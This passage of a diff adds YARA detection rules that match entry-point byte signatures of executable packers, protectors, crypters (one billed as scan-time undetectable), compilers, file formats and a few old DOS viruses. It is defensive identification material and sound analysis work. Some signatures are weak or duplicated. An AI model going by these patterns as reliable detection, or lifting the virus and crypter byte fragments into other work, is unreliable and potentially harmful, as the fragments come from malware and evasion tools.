+		description = "PESpin v0.3 (Eng) -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 0D 4F 40 00 8B 42 3C 03 C2 89 85 17 4F 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D 2B 4F 40 00 53 8F 85 21 4D 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD D0 4F 40 00 8D 5B 04 8B 1B 89 9D D5 4F 40 00 E8 00 00 00 00 58 01 68 05 68 F7 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+		$2 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+		$3 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Obsidium_1304__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium 1.3.0.4 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_Keys_ShellClient_Library_V1200__SafeNet_Inc__20090524_
+{
+	meta:
+		description = "Sentinel Keys Shell(Client Library) V1.2.0.0 -> SafeNet Inc. * 20090524"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 56 85 C0 57 0F 85 A9 18 00 00 A1 ?? ?? ?? ?? 33 FF BE 01 00 00 00 3B C7 89 35 ?? ?? ?? ?? 0F 85 6A 07 00 00 75 03 74 01 ?? 83 EC 08 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 81 7C 24 3C 7C 03 7D 01 E8 2C FB FF FF 7E 03 7F 01 ?? 89 ?? ?? ?? ?? ?? 72 03 73 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 7C 24 28 75 03 74 01 A1 ?? ?? ?? ?? 25 07 00 00 80 79 05 48 83 C8 F8 40 A3 ?? ?? ?? ?? 7C 03 7D 01 ?? ?? ?? ?? ?? ?? ?? 74 17 75 03 74 01 7A 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B C1 A3 ?? ?? ?? ?? 75 03 74 01 5E FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_110_beta_5_
+{
+	meta:
+		description = "PECompact 1.10 beta 5"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 00 87 DD 8B 85 95 60 40 00 01 85 03 60 40 00 66 C7 85 00 60 40 00 90 90 BB 49 09 00 00 03 9D 99 60 40 00 03 9D 95 60 40 00 53 53 53 58 2D 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_1989_1994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1989, 1994"
+	strings:
+		$0 = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Modification_of_Hi924_
+{
+	meta:
+		description = "Vx: Modification of Hi.924"
+	strings:
+		$0 = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_v2010__v2065_or_newer_
+{
+	meta:
+		description = "Themida v2.0.1.0 - v2.0.6.5 (or newer)"
+	strings:
+		$0 = {83 EC 04 50 53 E8 ?? 00 00 00 CC 58 8B D8 40 2D 00 ?? ?? 00 2D ?? ?? ?? 00 05 ?? ?? ?? 00 80 3B CC 75 19 C6 03 00 BB 00 10 00 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeHand_8_document_
+{
+	meta:
+		description = "FreeHand 8 document"
+	strings:
+		$0 = {41 47 44 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Anticrack_Software_Protector_109_ACProtect_
+{
+	meta:
+		description = "Anticrack Software Protector 1.09 (ACProtect)"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 83 04 24 06 C3 ?? ?? ?? ?? ?? 00}
+		$1 = {60 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Rec_038_
+{
+	meta:
+		description = "Rec 0.38"
+	strings:
+		$0 = {06 1E B4 30 CD 21 3C 02 73 05 33 C0 06 50 CB BF 66 23 8B 36 02 00 2B F7 81 FE 00 10 EB 0A B4 4A CD 21 BF 77 13 B9 81 17 00 00 EB 04 00 EB FB 9A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeLock__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Code-Lock] --> Anorganix"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12_
+{
+	meta:
+		description = "ASProtect v1.2"
+	strings:
+		$0 = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_protector_v102__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma protector v1.02 -> Vladimir Sukhov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E BE 01 00 00 00 C1 E6 02 83 EC 04 87 DE 89 1C 24}
+		$1 = {55 53 20 50 54 4F 20 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_PEX_099__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEX 0.99) -> emadicius"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83}
+	condition:
+		$0 at entrypoint
+}
+rule _AcidCrypt__AciDLeo_
+{
+	meta:
+		description = "AcidCrypt -> AciDLeo"
+	strings:
+		$0 = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v200c_
+{
+	meta:
+		description = "PKLITE v2.00c"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+		$1 = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE32_v11__PKWare_
+{
+	meta:
+		description = "PKLITE32 v1.1 -> PKWare"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v4x_
+{
+	meta:
+		description = "Armadillo v4.x"
+	strings:
+		$0 = {8B}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V29__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.9 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 8A 06 3C 00 74 12 8B F5 8D B5}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_20__Vaska_
+{
+	meta:
+		description = "RCryptor 2.0 -> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+		$1 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XoReR_20_
+{
+	meta:
+		description = "XoReR 2.0"
+	strings:
+		$0 = {BA 00 00 B9 48 20 51 B8 FF FF E7 21 B4 30 CD 21 3C 02 73 05 33 C0 06 50 CB BF 00 00 8B 36 02 00 59 E2 E3 81 C3 00 00 FC 33 C0 80 EF 9D 81 FB 00 00 74 03 43 2A 17 30 15 47 40 FE C2 86 D6 02 D6 3D 80 01 75 E8 FA 27 EB 13 31 B7 65 6A 8A 1E BC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VBOX_43_MTE_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VBOX 4.3 MTE"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+		$1 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_V22XV24X__StrongBit_Technology_
+{
+	meta:
+		description = "EXECryptor V2.2X-V2.4X -> StrongBit Technology"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 E8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Pascal_v55_Unit_
+{
+	meta:
+		description = "Turbo Pascal v5.5 Unit"
+	strings:
+		$0 = {54 50 55 36 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ZCode_101_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ZCode 1.01"
+	strings:
+		$0 = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 --> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+		$1 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ARM_Protector_v01_by_SMoKE_
+{
+	meta:
+		description = "ARM Protector v0.1 by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _yC_13_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yC 1.3 by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v21_
+{
+	meta:
+		description = "PEtite v2.1"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+		$1 = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SecurePE_V1X__wwwdeepzoneorg_
+{
+	meta:
+		description = "SecurePE V1.X -> www.deepzone.org"
+	strings:
+		$0 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v15_Private__Vaska_
+{
+	meta:
+		description = "RCryptor v1.5 (Private) --> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_500d_
+{
+	meta:
+		description = "PC-Guard 5.00d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1987_
+{
+	meta:
+		description = "Turbo C 1987"
+	strings:
+		$0 = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+		$1 = {FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _E_language_
+{
+	meta:
+		description = "E language"
+	strings:
+		$0 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+		$1 = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nSpack_V30__LiuXingPing_
+{
+	meta:
+		description = "nSpack V3.0 -> LiuXingPing"
+	strings:
+		$0 = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_V098_LZMA__JoKo_
+{
+	meta:
+		description = "XPack V0.98 (LZMA) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 2D 06 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 44 ?? ?? 00 34 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FXlock_116_
+{
+	meta:
+		description = "F-Xlock 1.16"
+	strings:
+		$0 = {50 50 50 53 51 52 56 1E 8B DC 8C D8 05 00 00 36 89 47 0E 36 C7 47 0C 00 00 8E 1E 2C 00 33 DB 8B 07 43 3D 00 00 74 02 75 F6 43 83 3F 01 75 45 43 43 8B D3 B8 00 3D CD 21 72 3A 8B D8 0E 1F 33 D2 8B F2 B9 1B 00 B4 3F CD 21 83 7C 14 00 75 30 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Caz1204_
+{
+	meta:
+		description = "Vx: Caz.1204"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+		$1 = {E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_081__083_EXE_
+{
+	meta:
+		description = "UPX 0.81 - 0.83 [EXE]"
+	strings:
+		$0 = {B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8C C8 05 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 12 10 73 E7 92 AF AD 0E 0E 0E 06 1F 07 16 BD 00 00 BB 00 80 55 CB 55 50 58 21 0A 03 03 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_Demo_FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5 Demo-> FEUERRADER"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+		$1 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _STUD_RC4_10_Jamie_Edition_ScanTime_UnDetectable__by_MarjinZ_
+{
+	meta:
+		description = "STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ"
+	strings:
+		$0 = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+		$1 = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4 18 40 00 07 00 00 00 7C 18 40 00 07 00 00 00 2C 18 40 00 07 00 00 00 E0 17 40 00 56 42 35 21 F0 1F 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 7E 00 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 09 04 00 00 00 00 00 00 E8 13 40 00 F4 13 40 00 00 F0 30 00 00 FF FF FF 08 00 00 00 01 00 00 00 00 00 00 00 E9 00 00 00 04 11 40 00 04 11 40 00 C8 10 40 00 78 00 00 00 7C 00 00 00 81 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 61 61 00 53 74 75 64 00 00 73 74 75 64 00 00 01 00 01 00 30 16 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 B4 16 40 00 10 30 40 00 07 00 00 00 24 12 40 00 0E 00 20 00 00 00 00 00 1C 9E 21 00 EC 11 40 00 5C 10 40 00 E4 1A 40 00 2C 34 40 00 68 17 40 00 58 17 40 00 78 17 40 00 8C 17 40 00 8C 10 40 00 62 10 40 00 92 10 40 00 F8 1A 40 00 24 19 40 00 98 10 40 00 9E 10 40 00 77 04 18 FF 04 1C FF 05 00 00 24 01 00 0D 14 00 78 1C 40 00 48 21 40 00}
+		$2 = {68 2C 11 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30 00 00 00 38 00 00 00 00 00 00 00 37 BB 71 EC A4 E1 98 4C 9B FE 8F 0F FA 6A 07 F6 00 00 00 00 00 00 01 00 00 00 20 20 46 6F 72 20 73 74 75 64 00 20 54 6F 00 00 00 00 06 00 00 00 CC 1A 40 00 07 00 00 00 D4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UG2002_Cruncher_v03b3_
+{
+	meta:
+		description = "UG2002 Cruncher v0.3b3"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? E8 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cppx_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x"
+	strings:
+		$0 = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+		$1 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _StarForce_V3X__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V3.X -> StarForce Copy Protection System"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2312__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.312 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+		$1 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Norton_Speed_Disk_Configuration_file_
+{
+	meta:
+		description = "Norton Speed Disk Configuration file"
+	strings:
+		$0 = {4E 6F 72 74 6F 6E 20 53 70 65 65 64}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v021_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.21 Beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_12B__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.2B -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 D8 53 56 57 33 C0 89 45 D8 89 45 DC 89 45 E0 89 45 E4 89 45 E8 B8 70 3A 40 00 E8 C4 EC FF FF 33 C0 55 68 5C 3F 40 00 64 FF 30 64 89 20 E8 C5 D7 FF FF E8 5C F5 FF FF B8 20 65 40 00 33 C9 BA 04 01 00 00 E8 D3 DB FF FF 68 04 01 00 00 68 20 65 40 00 6A 00 FF 15 10 55 40 00 BA 6C 3F 40 00 B8 14 55 40 00 E8 5A F4 FF FF 85 C0 0F 84 1B 04 00 00 BA 18 55 40 00 8B 0D 14 55 40 00 E8 16 D7 FF FF 8B 05 88 61 40 00 8B D0 B8 54 62 40 00 E8 D4 E3 FF FF B8 54 62 40 00 E8 F2 E2 FF FF 8B D0 B8 18 55 40 00 8B 0D 88 61 40 00 E8 E8 D6 FF FF FF 35 34 62 40 00 FF 35 30 62 40 00 FF 35 3C 62 40 00 FF 35 38 62 40 00 8D 55 E8 A1 88 61 40 00 E8 E3 F0 FF FF 8B 55 E8}
